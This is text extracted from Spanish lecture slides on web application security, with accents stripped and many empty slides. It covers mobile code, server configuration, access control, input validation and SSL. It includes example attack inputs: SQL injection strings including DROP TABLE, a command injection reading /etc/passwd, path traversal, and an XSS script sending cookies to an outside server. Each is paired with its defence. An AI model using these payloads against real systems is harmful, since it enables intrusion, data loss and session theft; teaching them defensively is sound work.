Escolar Documentos
Profissional Documentos
Cultura Documentos
Contenido
el el la la
Contenido
Introduccin
Aplicaciones Web Cunta seguridad es necesaria? Amenazas ms importantes a las aplicaciones web Guas de seguridad
en en en en
el el la la
Contenido
Cdigo mvil Lenguajes de Macro: VBA Lenguajes de Script: JavaScript y VBScript Applets Java Controles ActiveX
Contenido
Contenido
Seguridad en la Comunicacin
Contenido
el el la la
Programacin
Teora Viernes 7 Introduccin Seguridad en el cliente Seguridad en el servidor Seguridad en la aplicacin: control de acceso Seguridad en la aplicacin: control de acceso Seguridad en la aplicacin: validacin de datos de entrada Seguridad en la aplicacin: programacin segura Seguridad en la comunicacin Prctica 1. Cdigo mvil
Jueves 20
Viernes 21
3. Control de acceso
Jueves 4
4. Validacin de datos
Viernes 5
5. SSL en Apache
Contenido
el el la la
Introduccin
Aplicaciones Web Cunta seguridad es necesaria? Amenazas ms importantes a las aplicaciones web Guas de seguridad
10
Introduccin
Aplicaciones Web
Aplicaciones cliente/servidor que utilizan el protocolo HTTP para interactuar con los usuarios u otros sistemas El cliente utilizado por los usuarios es habitualmente un navegador Los problemas de seguridad pueden provenir de los programas web en los que se apoyan, aunque en su mayor parte son consecuencia de fallos en la lgica y el diseo de la propia aplicacin
11
Introduccin
12
Introduccin
13
Introduccin
Entrada no validada Control de acceso roto Administracin de sesin y autentificacin rota Fallos de Cross Site Scripting (XSS) Desbordamiento del buffer Fallos de inyeccin Manejo inadecuado de errores Almacenamiento inseguro Negacin de servicio Administracin de configuracin insegura
14
Introduccin
Guas de seguridad
Es conveniente tener en cuenta unos principios de alto nivel al disear aplicaciones web: Validar la entrada y la salida Fallar con seguridad Mantener un esquema de seguridad simple Utilizar componentes de confianza La seguridad a travs de la oscuridad no funciona Mantener los privilegios al mnimo y separados
15
Contenido
el el la la
16
Seguridad en el Cliente
Cdigo mvil Lenguajes de Macro: VBA JavaScript VBScript Applets Java Controles ActiveX
17
Seguridad en el Cliente
Cdigo mvil
Cdigo que circula por la red y se ejecuta en una mquina remota Aparece incrustado en un documento HTML. Un cliente de correo o un navegador que carguen el documento lo ejecutarn en la mquina cliente Potencia la funcionalidad de los documentos HTML pero entraa riesgos de seguridad. Un cdigo mvil puede obtener informacin acerca de un sistema o un usuario y enviarla a una mquina remota
18
Seguridad en el Cliente
Cdigo mvil
Puede estar incrustado directamente en el documento, caso de los lenguajes de script como JavaScript y VBScript Tambin puede residir en un servidor y ser invocado mediante una referencia en el documento, caso de las applets de Java o los controles ActiveX El cdigo ActiveX suele permanecer en el sistema una vez que se instala, mientras que las applets de Java se ejecutan una sla vez y no se almacenan en la mquina del usuario
19
Seguridad en el Cliente
Cdigo mvil
Hay cuatro tipos bsicos de cdigo mvil: Lenguajes de macro como Visual Basic for Applications (VBA) Scripts como JavaScript y VBScript Applets de Java Controles ActiveX Un mtodo de proteccin comn es tener siempre actualizado el software
20
Seguridad en el Cliente
21
Seguridad en el Cliente
22
Seguridad en el Cliente
23
Seguridad en el Cliente
JavaScript
Fue diseado para aadir interactividad a una pgina web Un cdigo JavaScript tiene acceso nicamente a la informacin contenida en la pgina en la que est incrustado Es bastante seguro. Algunos problemas del pasado han estado relacionados con implementaciones de JavaScript por parte de Microsoft y Netscape. La madurez de la tecnologa ha permitido solucionarlos
24
Seguridad en el Cliente
JavaScript
El nico problema serio est relacionado con los servicios de correo Web Si se recibe un correo con un cdigo malicioso, al visualizarlo podra hacer cosas como leer los mensajes del usuario, enviar mensajes en su nombre, leer una cookie o abrir una falsa ventana de identificacin para pedir al usuario la confirmacin de su password. Podra usar marcos para continuar ejecutndose mientras visualizamos otros mensajes o realizamos otras tareas Apareci por primera vez en Hotmail y provoc que los servicios de correo web decidieran neutralizar el cdigo JavaScript de los mensajes recibidos
Seguridad en Sistemas Informticos e Internet 25
Seguridad en el Cliente
JavaScript
Otra fuente de problemas es la posibilidad que ofrece de comunicarse con los plug-ins del navegador (p. Ej. Shockwave player). Si el plug-in tiene acceso a disco, JavaScript tambin lo tiene La mejor proteccin es tener el software actualizado. Si se utiliza un servicio de correo web hay que verificar que tiene activados filtros contra el cdigo JavaScript. Tambin se puede deshabilitar JavaScript o pedir confirmacin cuando se intente ejecutar cdigo JavaScript, aunque puede resultar muy pesado Netscape permite deshabilitar JavaScript de forma independiente para navegador y lector de correo
Seguridad en Sistemas Informticos e Internet 26
Seguridad en el Cliente
VBScript
Slo funciona con Internet Explorer y Outlook, por lo que no es tan popular como JavaScript Ofrece una funcionalidad similar pero con una notable excepcin: puede interactuar con los controles ActiveX instalados en la mquina sta es la principal fuente de problemas, ya que carece de operaciones potencialmente peligrosas Los controles ActiveX pueden ser marcados como safe o unsafe for scripting de forma que se impida a los scripts acceder a ellos
27
Seguridad en el Cliente
Applets Java
Normalmente no pueden leer ni escribir datos en el disco local ni comunicarse con otro recurso de la red salvo el servidor del que procede, lo cual garantiza que no tendrn comportamiento malicioso Excepcin: pueden crear hilos que se ejecutan en segundo plano. Estos hilos pueden seguir en ejecucin aunque se cierre el navegador y pueden tener un efecto poco pernicioso, como reproducir msica de fondo. La nica forma de pararlos es cerrar todas las ventanas del navegador Efecto ms negativo: el applet crea hilos que consumen mucha memoria y/o CPU haciendo ms lento el sistema y llegando incluso a colapsarlo
Seguridad en Sistemas Informticos e Internet 28
Seguridad en el Cliente
Controles ActiveX
Son la respuesta de Microsoft a las applets de Java Slo funcionan bsicamente con Internet Explorer y Outlook La seguridad de los controles ActiveX se basa en los certificados digitales. Los controles estn firmados digitalmente para garantizar su autenticidad Al cargar el control IE presenta el certificado digital y pide autorizacin para instalarlo. Pueden existir controles sin firma, aunque sern directamente rechazados por IE si est configurado correctamente
Seguridad en Sistemas Informticos e Internet 29
Seguridad en el Cliente
30
Seguridad en el Cliente
Controles ActiveX
El problema se da cuando un control est mal construido, proporcionando agujeros de seguridad a los atacantes Un problema habitual en algunos controles es el buffer overrun, padecido por ejemplo por el control de Adobe Acrobat Reader 4.0 y que permite la ejecucin de cdigo arbitrario en la mquina del usuario Cuando se construye un control ActiveX que puede realizar tareas potencialmente peligrosas (como leer o escribir en disco) hay que tener la precaucin de marcarlo como unsafe for scripting para que no pueda ser llamado desde VBScript
Seguridad en Sistemas Informticos e Internet 31
Seguridad en el Cliente
32
Contenido
el el la la
33
Seguridad en el Servidor
34
Seguridad en el Servidor
El desarrollo de una aplicacin web requiere de una serie de herramientas: servidores web, servidores de aplicaciones, servidores de bases de datos, lenguajes de servidor, etc. Estas herramientas pueden plantear problemas que comprometan a la aplicacin: Vulnerabilidades debidas al uso de versiones no actualizadas Configuraciones por defecto inadecuadas Activacin de cuentas por defecto Las herramientas deben estar actualizadas y bien configuradas para impedir ataques a la aplicacin
Seguridad en Sistemas Informticos e Internet 35
Seguridad en el Servidor
Servidor Web
Proporciona muchos servicios y es muy probable que algunos de ellos no sean necesarios para el funcionamiento de la aplicacin web En tal caso es conveniente deshabilitarlos Para ello el servidor dispone de mltiples opciones de configuracin que es conveniente adaptar a las circunstancias concretas de la aplicacin web
36
Seguridad en el Servidor
Servidor Web
Precauciones a tener en cuenta: Establecer permisos adecuados para los ficheros del servidor y los documentos. Es conveniente definir un usuario y grupo especiales (web, www) Listado automtico de directorios. Puede ser conveniente pero proporciona informacin sensible Seguimiento de enlaces simblicos. Peligroso si se enlazan ficheros externos al rbol de documentos
37
Seguridad en el Servidor
Servidor Web
Precauciones a tener en cuenta (cont): Ejecucin de CGI. Slo debe permitirse a usuarios de confianza y restringirlo a un directorio especial Server side includes (SSI). Es una fuente de peligro y puede tener que ser restringido a usuarios de confianza o deshabilitado (en particular la opcin exec). Ejemplo:
... cdigo HTML <!--#exec cgi=/cgi-bin/cabecera.cgi --> ... cdigo HTML
38
Seguridad en el Servidor
Servidor Web
Ejercicio: Configuracin de Apache
39
Seguridad en el Servidor
Servidor Web
Es muy conveniente revisar peridicamente los ficheros de log (access_log y error_log en Apache) para detectar posibles ataques al servidor
40
Seguridad en el Servidor
Servidor Web
Ejercicio: Ficheros de log en Apache
41
Seguridad en el Servidor
Seguridad en el Servidor
Seguridad en el Servidor
44
Seguridad en el Servidor
45
Seguridad en el Servidor
Lenguajes de servidor
ASP, JSP, PHP Aumentan enormemente la potencia de los documentos HTML al permitir la comunicacin con aplicaciones residentes en el servidor, y muy especialmente con servidores de bases de datos Esta potencialidad conlleva riesgos. Hay que revisar a fondo la configuracin para eliminar funcionalidades no utilizadas y seguir prcticas adecuadas de programacin, sobre todo en funciones con vulnerabilidades conocidas
46
Seguridad en el Servidor
Lenguajes de servidor
Hay que proteger el cdigo fuente para evitar que pueda ser visualizado, especialmente cuando contiene informacin sensible como pueden ser los datos de conexin al servidor de bases de datos Una medida razonable consiste en sacar el cdigo fuente sensible fuera de la raz de la web
47
Seguridad en el Servidor
Lenguajes de servidor
Ejercicio: Errores en cdigo PHP
48
Contenido
el el la la
49
Seguridad en la Aplicacin
50
Seguridad en la Aplicacin
Control de acceso
Un aspecto muy importante de una aplicacin web es el control de acceso de los usuarios a zonas restringidas de la aplicacin Aqu intervienen dos conceptos: Autentificacin Autorizacin
51
Seguridad en la Aplicacin
Autentificacin
Es el proceso de determinar si un usuario es quien dice ser Esto se puede hacer de varias maneras. Algunas de ellas son: Autentificacin HTTP bsica Autentificacin basada en la aplicacin
52
Seguridad en la Aplicacin
53
Seguridad en la Aplicacin
54
Seguridad en la Aplicacin
55
Seguridad en la Aplicacin
56
Seguridad en la Aplicacin
57
Seguridad en la Aplicacin
58
Seguridad en la Aplicacin
59
Seguridad en la Aplicacin
Passwords
Siempre que se utilizan passwords para autentificar usuarios hay que seguir unas recomendaciones: Restringir los valores para los nombres de usuarios. Los que representan nombres reales suponen dar pistas a los atacantes Almacenar los passwords de forma segura, protegiendo el acceso a la base de datos Seguir reglas de seguridad para su eleccin Bloquear una cuenta cuando se detecta un nmero determinado de intentos de acceso incorrectos Actualizar los passwords peridicamente y mantener un histrico para evitar repeticiones
Seguridad en Sistemas Informticos e Internet 60
Seguridad en la Aplicacin
Passwords
Cualquier sistema que requiera autentificacin debe tener una poltica de recuperacin de passwords en caso de olvido del usuario Esto se puede hacer de dos formas: Automticamente A travs de tcnicos de soporte
61
Seguridad en la Aplicacin
Passwords
En el caso automtico hay varias estrategias: Plantear durante el registro del usuario varias preguntas a las que slo l puede responder Enviar el password por correo electrnico. Es recomendable que tenga fecha de expiracin y se pida su cambio cuando el usuario se conecte Comunicar el password por telfono al usuario a requerimiento del mismo Deben registrarse todos los intentos de recuperacin y fijar un lmite de tiempo pasado el cual sera preciso recurrir al tcnico
62
Seguridad en la Aplicacin
63
Seguridad en la Aplicacin
Passwords
En el caso del tcnico hay que prever el servicio a personas de diferentes pases con lenguas diferentes La intervencin humana da mayor seguridad, pero es ms costosa y ms molesta para el usuario Una alternativa a la presencia fsica puede ser el uso del fax para enviar la documentacin que certifique la identidad del usuario
64
Seguridad en la Aplicacin
Sesiones
Una vez que el usuario se ha autentificado introduciendo su nombre de usuario y su clave, es preciso mantener esta autentificacin en cada conexin subsiguiente Para evitar tener que mostrar nuevamente la ventana de autentificacin se recurre habitualmente al uso de sesiones, un mecanismo que permite mantener el estado entre diferentes peticiones HTTP
65
Seguridad en la Aplicacin
Sesiones
El mecanismo es el siguiente: Una vez autentificado, al usuario se le asigna un identificador de sesin Este identificador acompaar invisiblemente a cada peticin del usuario, con lo cual se garantizar que la peticin proviene de un usuario previamente autentificado El identificador de sesin se suele almacenar en la propia mquina del cliente, mediante una cookie Slo se debe almacenar el identificador de la sesin; cualquier otro dato del usuario se almacenar en el servidor
Seguridad en Sistemas Informticos e Internet 66
Seguridad en la Aplicacin
Sesiones
La gestin de las sesiones es responsabilidad del programador. Normalmente los lenguajes de servidor disponen de funciones diseadas especficamente para ello En PHP se dispone de las siguientes funciones: session_start session_register session_is_registered session_unregister session_destroy
67
Seguridad en la Aplicacin
Sesiones
Un buen sistema de gestin de sesiones debe: Establecer un tiempo lmite de vida para la sesin Regenerar el identificador de sesin cada cierto tiempo Detectar intentos de ataque de fuerza bruta con identificadores de sesin Requerir una nueva autentificacin del usuario cuando vaya a realizar una operacin importante Proteger los identificadores de sesin durante su transmisin Destruir la cookie al finalizar la sesin para evitar el acceso de otro usuario en un entorno pblico
Seguridad en Sistemas Informticos e Internet 68
Seguridad en la Aplicacin
Sesiones
Ejercicio: sesiones en PHP
69
Seguridad en la Aplicacin
Autorizacin
Es el acto de comprobar si un usuario tiene el permiso adecuado para acceder a un cierto fichero o realizar una determinada accin, una vez que ha sido autentificado
70
Seguridad en la Aplicacin
Autorizacin
Disear el mecanismo de control de acceso exige: Determinar la informacin que ser accesible por cada usuario Determinar el nivel de acceso de cada usuario a la informacin Especificar un mecanismo para otorgar y revocar permisos a los usuarios Proporcionar funciones a los usuarios autorizados: identificacin, desconexin, peticin de ayuda, consulta y modificacin de informacin personal, cambio de password, etc. Ajustar los niveles de acceso a la informacin a la poltica de seguridad de la organizacin
Seguridad en Sistemas Informticos e Internet 71
Seguridad en la Aplicacin
Autorizacin
Modelos para el control de acceso: Control de Acceso Discrecional: se basa en la identidad de los usuarios o su pertenencia a ciertos grupos. El propietario de una informacin puede cambiar sus permisos a su discrecin Control de Acceso Obligatorio: cada pieza de informacin tiene un nivel de seguridad y cada usuario un nivel de acceso, lo cual permite determinar los permisos de acceso de cada usuario a cada pieza de informacin Control de Acceso Basado en Roles: cada usuario tiene un rol dentro de la organizacin y en funcin de l unos permisos de acceso
Seguridad en Sistemas Informticos e Internet 72
Seguridad en la Aplicacin
Autorizacin
Para la implementacin del mecanismo de control de acceso en la aplicacin suele recurrirse al uso de bases de datos
73
Seguridad en la Aplicacin
74
Seguridad en la Aplicacin
Seguridad en la Aplicacin
Fuentes de entrada
Los datos de entrada pueden provenir de cuatro fuentes diferentes: Cadenas URL Cookies Cabeceras HTTP Campos de formularios
76
Seguridad en la Aplicacin
77
Seguridad en la Aplicacin
78
Seguridad en la Aplicacin
Lo mejor es almacenar en la cookie nicamente el identificador de sesin, manteniendo la informacin relevante en el servidor
Seguridad en Sistemas Informticos e Internet 79
Seguridad en la Aplicacin
80
Seguridad en la Aplicacin
Si el contenido de la cabecera se utiliza directamente en una consulta a la base de datos, podra utilizarse para inyectar rdenes SQL modificando la cabecera
81
Seguridad en la Aplicacin
82
Seguridad en la Aplicacin
83
Seguridad en la Aplicacin
84
Seguridad en la Aplicacin
Inyeccin
Consiste en inyectar en la aplicacin datos introducidos por el usuario. Esto es muy habitual y de por s no es peligroso
85
Seguridad en la Aplicacin
Inyeccin de datos
Ejemplo: sea la siguiente instruccin:
sql= "SELECT * FROM noticias WHERE id = $id";
Otro ejemplo:
print "<H2>Bienvenido/a, $username.</H2>";
86
Seguridad en la Aplicacin
Conectores y payload
Idea: suministrar datos que al ser inyectados en la aplicacin causen un efecto particular El ataque est completamente contenido en los datos suministrados por el atacante, que se pueden dividir en tres partes: Conector de prefijo Payload Conector de sufijo El ataque est contenido en el payload y los conectores lo encajan en la aplicacin Para elegirlos es preciso un amplio conocimiento del lenguaje, las herramientas y las tcnicas utilizadas en la aplicacin
Seguridad en Sistemas Informticos e Internet 87
Seguridad en la Aplicacin
Conectores y payload
Ejemplo: consulta SQL para una interfaz de identificacin de usuario
sql = "SELECT * FROM tablausuarios WHERE login = '$userLogin' AND password = '$userPassword';
payload
1=1
sufijo
OR login=
88
Seguridad en la Aplicacin
Conectores y payload
obtendremos la consulta SQL:
SELECT * FROM tablausuarios WHERE login = '' OR 1=1 OR login ='' AND password = ''
89
Seguridad en la Aplicacin
Conectores y payload
Con un mayor conocimiento podemos modificar el ataque para reducir el nmero de caracteres empleados, que podra estar limitado. Por ejemplo, el ataque
prefijo OR
payload
1=1
sufijo
90
Seguridad en la Aplicacin
Conectores y payload
La eleccin de los conectores puede verse facilitada por factores como acceso al cdigo fuente o mensajes de error detallados Ms importante que esto es el hecho de utilizar tcnicas de programacin conocidas en el desarrollo de las aplicaciones
91
Seguridad en la Aplicacin
Estrategias de proteccin
Existen tres modelos posibles a la hora de disear una estrategia de validacin de datos: Aceptar nicamente datos vlidos conocidos Rechazar datos no vlidos conocidos Sanear todos los datos
92
Seguridad en la Aplicacin
Estrategias de proteccin
Aceptar nicamente datos vlidos conocidos. Es la estrategia ms adecuada. Slo deben aceptarse aquellos datos que se adaptan a lo esperado. Por ejemplo, si un password debe contener letras de la A a la Z y dgitos del 0 al 9, debe verificarse que la entrada es una cadena, que slo contiene esos caracteres y que tiene una longitud vlida
93
Seguridad en la Aplicacin
Estrategias de proteccin
Aceptar nicamente datos vlidos conocidos. En general hay que chequear lo siguiente:
Tipo de dato Longitud mxima y mnima Datos obligatorios Si hay una lista enumerada de posibles valores, comprobar que est en ella Si hay un formato o plantilla especfico, comprobar que lo cumple Si es texto libre, que slo contiene caracteres vlidos Si se permiten caracteres peligrosos, sanearlos
Deben considerarse los valores por separado pero tambin teniendo en cuenta que pueden unirse para formar, por ejemplo, una consulta SQL
Seguridad en Sistemas Informticos e Internet 94
Seguridad en la Aplicacin
Estrategias de proteccin
Rechazar datos no vlidos conocidos. Implica conocer todos los posibles datos peligrosos, lo cual es muy difcil Sanear todos los datos. Consiste en transformar los datos en una representacin que no presente riesgos. Por ejemplo, transformar (una comilla simple) en (dos comillas simples) o < en <. Es buena como complemento a la primera estrategia aunque no tanto para utilizarse sla porque es difcil sanear todos los datos
95
Seguridad en la Aplicacin
Estrategias de proteccin
Nunca debe confiarse en la validacin de datos en el cliente ya que puede puentearse con facilidad. Toda la validacin de datos debe realizarse en el servidor Conceptos errneos sobre la validacin en el cliente:
El atributo MAXLENGTH limitar los caracteres que el usuario puede introducir El atributo READONLY evitar que el usuario pueda modificar un valor Los campos de tipo HIDDEN no se pueden modificar Las cookies no se pueden modificar Las listas desplegables o botones de radio limitan los valores de entrada Todos los campos del formulario sern enviados Slo los campos del formulario sern enviados
Seguridad en Sistemas Informticos e Internet 96
Seguridad en la Aplicacin
97
Seguridad en la Aplicacin
Vulnerabilidades especficas
Las vulnerabilidades comunes ms peligrosas que resultan de una falta de proteccin adecuada ante los datos de entrada son: Inyeccin SQL Inyeccin de rdenes del SO Inyeccin HTML (Cross-site Scripting o XSS) Path Traversal Buffer Overflow
98
Seguridad en la Aplicacin
Inyeccin SQL
Consiste en inyectar un mandato dentro de una consulta SQL. Sea la consulta:
$consulta = SELECT titulo FROM libros WHERE codigo = $codigo;
Si el valor es
la consulta es:
SELECT titulo FROM libros WHERE codigo = 23; DROP TABLE users
Seguridad en la Aplicacin
Inyeccin SQL
Sea ahora el siguiente cdigo muy habitual en una aplicacin Web:
$consulta = SELECT id FROM usuarios WHERE username = $username AND password = $password;
Si se introducen los valores juan como username y jj.ssii como password, la consulta queda:
SELECT id FROM usuarios WHERE username = juan AND password = jj.ssii
100
Seguridad en la Aplicacin
Inyeccin SQL
Se puede saltar la comprobacin del password introduciendo el valor juan-- como username o el valor OR = como password. Las consultas que quedaran en ambos casos son, respectivamente:
SELECT id FROM usuarios WHERE username = juan-- AND password =
SELECT id FROM usuarios WHERE username = juan AND password = OR =
En el primer caso ntese que -- es un comentario de lnea en MySQL y provoca que se ignore todo lo que viene tras l en la lnea
101
Seguridad en la Aplicacin
Inyeccin SQL
La inyeccin SQL puede utilizarse para: Cambiar valores de las consultas Concatenar varias consultas Aadir llamadas a funcin y procedimientos almacenados a una consulta Para evitar la inyeccin SQL es muy importante validar los valores que se han de integrar en la consulta SQL. En el primer caso, por ejemplo, $codigo debe ser un valor entero
102
Seguridad en la Aplicacin
Inyeccin SQL
Ejercicio: inyeccin de una orden SQL desde un formulario
103
Seguridad en la Aplicacin
Seguridad en la Aplicacin
Si el valor de la variable $directorio fuese /tmp; cat /etc/passwd, se mostrara el fichero de passwords del sistema ya que se ejecutara la orden
ls /tmp; cat /etc/passwd
105
Seguridad en la Aplicacin
106
Seguridad en la Aplicacin
107
Seguridad en la Aplicacin
108
Seguridad en la Aplicacin
cuando un usuario lo visualice aparecer su cookie en una ventana. Esto no es grave ya que cada usuario visualiza su propia cookie, pero si se modifica as:
<script>document.write('<img src= "http: //targetsite.com/'+document.cookie+'")</script>
dejar la cookie del usuario en el log del servidor del atacante, que podra hacerse con la sesin
Seguridad en Sistemas Informticos e Internet 109
Seguridad en la Aplicacin
110
Seguridad en la Aplicacin
111
Seguridad en la Aplicacin
Si el mensaje contiene caracteres HTML puede ser peligroso. Para solucionarlo se modifica el cdigo:
print <TD>; print htmlspecialchars($fila[mensaje]); print </TD>;
112
Seguridad en la Aplicacin
la funcin htmlspecialchars() no evita que se ejecute el cdigo malicioso. La nica solucin es aceptar siempre datos garantizados como buenos. En este caso, slo se debe aceptar un parmetro que corresponda a un nombre de fichero vlido:
if (preg_match('/^[0-9a-z_]+\.[a-z]+$/i', $_GET[imagen])) print <IMG SRC= . $_GET[imagen] . >;
113
Seguridad en la Aplicacin
114
Seguridad en la Aplicacin
Path Traversal
Una aplicacin es vulnerable a este tipo de ataques cuando el atacante puede construir peticiones que le permiten acceder a ficheros localizados fuera de la raz de la Web, como por ejemplo /etc/passwd Para ello utiliza caracteres como ../ en los parmetros que representan nombres de fichero. Si el atacante accede a directorios del sistema, podra llegar incluso a ejecutar mandatos del sistema
115
Seguridad en la Aplicacin
Path Traversal
Sea por ejemplo el siguiente cdigo PHP:
include (/lib/ . $cabecera);
Si la variable $cabecera toma el valor ../etc/passwd, se mostrara el fichero de passwords del sistema
116
Seguridad en la Aplicacin
Path Traversal
Para evitar estos ataques hay que utilizar las funciones de normalizacin de rutas que suelen tener los lenguajes En PHP para chequear nombres de ficheros se utilizan las funciones realpath() y basename(). La primera convierte direcciones relativas en absolutas y la segunda toma una ruta y devuelve la parte correspondiente al nombre del fichero. En el ejemplo anterior tendramos:
$cabecera2 = basename (realpath($cabecera)); if ($cabecera2 == $cabecera) include (/lib/ . $cabecera);
117
Seguridad en la Aplicacin
Path Traversal
Otra defensa contra los nombres de ficheros incorrectos en PHP es la directiva de configuracin open_basedir:
open_basedir = /alguna/ruta
// en php.ini
PHP limitar las operaciones sobre ficheros al directorio especificado y sus subdirectorios. As, por ejemplo,
include (/alguna/ruta/lib.php); // permitido include (/otra/ruta/lib.php); // da un error // de ejecucin
118
Seguridad en la Aplicacin
Path Traversal
Ejercicio: acceso a ficheros del sistema
119
Seguridad en la Aplicacin
Buffer Overflow
Este ataque consiste en corromper la pila de ejecucin de una aplicacin enviando unos datos de entrada especialmente preparados con tal fin El objetivo es conseguir la ejecucin de un cdigo enviado por el atacante y tomar el control de la mquina Estas vulnerabilidades no son fciles de detectar y, de hacerse, son muy difciles de explotar
120
Seguridad en la Aplicacin
Buffer Overflow
Las vulnerabilidades pueden estar presentes en las herramientas (como el servidor web) o bibliotecas externas, siendo en tal caso conocidas pblicamente y por tanto ms peligrosas. La nica proteccin contra ellas consiste en tener actualizadas todas las herramientas Tambin pueden encontrarse en la aplicacin, siendo ms difciles de explotar porque habr menos atacantes. Adems, en caso de descubrirlas no ser fcil aprovecharlas ya que desconocen el cdigo fuente de la aplicacin. La proteccin pasa por comprobar todo el cdigo que acepta datos de entrada para asegurar que chequea su tamao
Seguridad en Sistemas Informticos e Internet 121
Seguridad en la Aplicacin
Programacin segura
Para evitar o al menos disminuir las vulnerabilidades de una aplicacin web es muy importante seguir unas correctas prcticas de programacin. Veamos algunas de las ms importantes: Inicializacin de variables Gestin de errores Proteccin de informacin
122
Seguridad en la Aplicacin
Inicializacin de variables
Sea el siguiente cdigo:
if (comprueba_privilegios()) $superuser = true;
permitira obtener privilegios de superusuario. Este problema se soluciona dando un valor inicial a la variable $superuser:
$superuser = false; if (comprueba_privilegios()) $superuser = true;
123
Seguridad en la Aplicacin
Inicializacin de variables
En general es recomendable inicializar todas las variables antes de usarlas En PHP se puede usar la directiva error_reporting=E_ALL que hace que se muestre un mensaje de aviso cuando se use una variable que no haya sido previamente inicializada
124
Seguridad en la Aplicacin
Inicializacin de variables
Tambin se puede deshabilitar register_globals en el fichero php.ini La directiva register_globals establece si se admite o no la creacin automtica de variables globales A partir de PHP 4.2.0 el valor por defecto de esta directiva es off, que es el valor recomendable Para acceder a las variables globales se deben utilizar los arrays globales $_SERVER, $_ENV, $_REQUEST, $_GET, $_POST, $_COOKIE, $_FILES, $_SESSION y $_GLOBALS
125
Seguridad en la Aplicacin
Inicializacin de variables
PHP crea automticamente variables globales a partir del entorno (E), las cookies (C), la informacin del servidor (S) y los parmetros GET (G) y POST (P) La directiva variables_order controla el orden de estas variables. El valor por defecto es EGPCS Permitir la creacin de variables globales desde parmetros GET y POST y desde cookies es potencialmente peligroso. Un posible valor para variables_order que evita esto es ES En tal caso para acceder a los parmetros de los formularios y a las cookies hay que usar los arrays globales $_REQUEST, $_GET, $_POST y $_COOKIE
Seguridad en Sistemas Informticos e Internet 126
Seguridad en la Aplicacin
Inicializacin de variables
Ejercicio: error en la autentificacin de usuarios
127
Seguridad en la Aplicacin
Gestin de errores
Los mensajes de error son una fuente de informacin muy importante para los atacantes. Pueden proporcionar informacin sensible que les permita refinar sus ataques En un entorno de produccin debe evitarse la aparicin de mensajes de aviso o error. En PHP se pueden utilizar las siguientes directivas en php.ini:
display_errors = off log_errors = on error_log = /var/log/php_errors.log
Seguridad en la Aplicacin
Gestin de errores
Ejercicio: localizacin de pginas con errores
129
Seguridad en la Aplicacin
Proteccin de informacin
Toda informacin sensible debe almacenarse por separado del programa que la utiliza y preferentemente en un directorio situado fuera del rbol de directorios de la Web para evitar que pueda ser accedida por su URL En PHP se puede hacer indicando la ruta completa de los ficheros en las funciones include() y require() o mediante la directiva include_path en php.ini:
include_path = .:/usr/local/php:/usr/local/lib/myapp
De esta forma, aunque se revele el cdigo fuente de los programas, no se mostrar informacin que comprometa al sistema
Seguridad en Sistemas Informticos e Internet 130
Seguridad en la Aplicacin
Proteccin de informacin
Debe evitarse utilizar en el cdigo comentarios que den demasiados detalles acerca del funcionamiento del programa. Puede ser conveniente eliminarlos en la versin de produccin de la aplicacin Hay que suprimir las rdenes de depuracin colocadas en el cdigo durante su desarrollo Deben protegerse los ficheros que tengan el acceso restringido. Para ello no basta con suprimir los enlaces al fichero; alguien podra dar con su nombre y obtenerlo directamente escribiendo su URL. La seguridad a travs de la oscuridad no funciona
Seguridad en Sistemas Informticos e Internet 131
Seguridad en la Aplicacin
Proteccin de informacin
Ejercicio: revelacin de informacin en el cdigo fuente
132
Contenido
el el la la
133
Seguridad en la Comunicacin
SSL
SSL (Secure Socket Layer) es un protocolo para asegurar el transporte de datos entre el cliente y el servidor web. Diseado inicialmente por Netscape, hoy da es soportado por la mayora de los servidores web Podemos reconocer una conexin HTTP sobre SSL porque aparece el prefijo https en lugar de http en la URL
134
Seguridad en la Comunicacin
SSL
La versin actual de SSL es la 3 y a partir de ella se est desarrollando un protocolo pblico por parte del Internet Engineering Task Force (IETF), que se conoce como TLS (Transport Layer Security) y es compatible con SSL
135
Seguridad en la Comunicacin
SSL
SSL no es un protocolo simple sino que tiene dos niveles de protocolos El protocolo Record proporciona servicios de seguridad bsica a varios protocolos de nivel ms alto, entre ellos HTTP
136
Seguridad en la Comunicacin
SSL
SSL proporciona una comunicacin segura entre cliente y servidor permitiendo la autentificacin mutua, el uso de firmas digitales y garantizando la privacidad mediante encriptacin. Una sesin SSL se establece segn una secuencia de operaciones
137
Seguridad en la Comunicacin
SSL
138
Seguridad en la Comunicacin
SSL
139
Seguridad en la Aplicacin
140